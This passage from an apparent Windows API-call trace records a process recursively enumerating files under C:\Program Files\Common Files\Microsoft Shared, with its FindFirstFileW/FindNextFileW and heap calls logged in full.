ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0069.040] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0069.041] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0069.041] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0069.041] FindClose (in: hFindFile=0x26841b0 | out: hFindFile=0x26841b0) returned 1 [0069.041] GetProcessHeap () returned 0x550000 [0069.041] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26c70c0 | out: hHeap=0x550000) returned 1 [0069.041] FindNextFileW (in: hFindFile=0x2684130, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0069.042] GetProcessHeap () returned 0x550000 [0069.042] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26c70c0 [0069.042] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26841b0 [0069.070] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.070] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0069.071] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0069.071] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0069.072] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0069.072] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0069.072] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0069.073] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0069.073] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0069.073] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0069.074] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0069.074] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0069.074] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0069.075] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0069.075] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0069.075] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0069.076] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0069.076] FindClose (in: hFindFile=0x26841b0 | out: hFindFile=0x26841b0) returned 1 [0069.078] GetProcessHeap () returned 0x550000 [0069.078] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26c70c0 | out: hHeap=0x550000) returned 1 [0069.078] FindNextFileW (in: hFindFile=0x2684130, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0069.078] GetProcessHeap () returned 0x550000 [0069.078] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26c70c0 [0069.079] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26841b0 [0069.079] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.079] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0069.080] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0069.080] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0069.080] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0069.081] FindClose (in: hFindFile=0x26841b0 | out: hFindFile=0x26841b0) returned 1 [0069.082] GetProcessHeap () returned 0x550000 [0069.082] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26c70c0 | out: hHeap=0x550000) returned 1 [0069.082] FindNextFileW (in: hFindFile=0x2684130, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0069.082] GetProcessHeap () returned 0x550000 [0069.082] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26c70c0 [0069.082] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26841b0 [0069.083] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.083] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0069.083] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0069.083] GetProcessHeap () returned 0x550000 [0069.083] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0069.084] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.767] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.767] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.768] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.768] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.768] GetProcessHeap () returned 0x550000 [0069.768] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0069.768] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0069.768] GetProcessHeap () returned 0x550000 [0069.768] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0069.768] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.769] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.769] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.769] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.769] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.769] GetProcessHeap () returned 0x550000 [0069.769] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0069.770] FindNextFileW 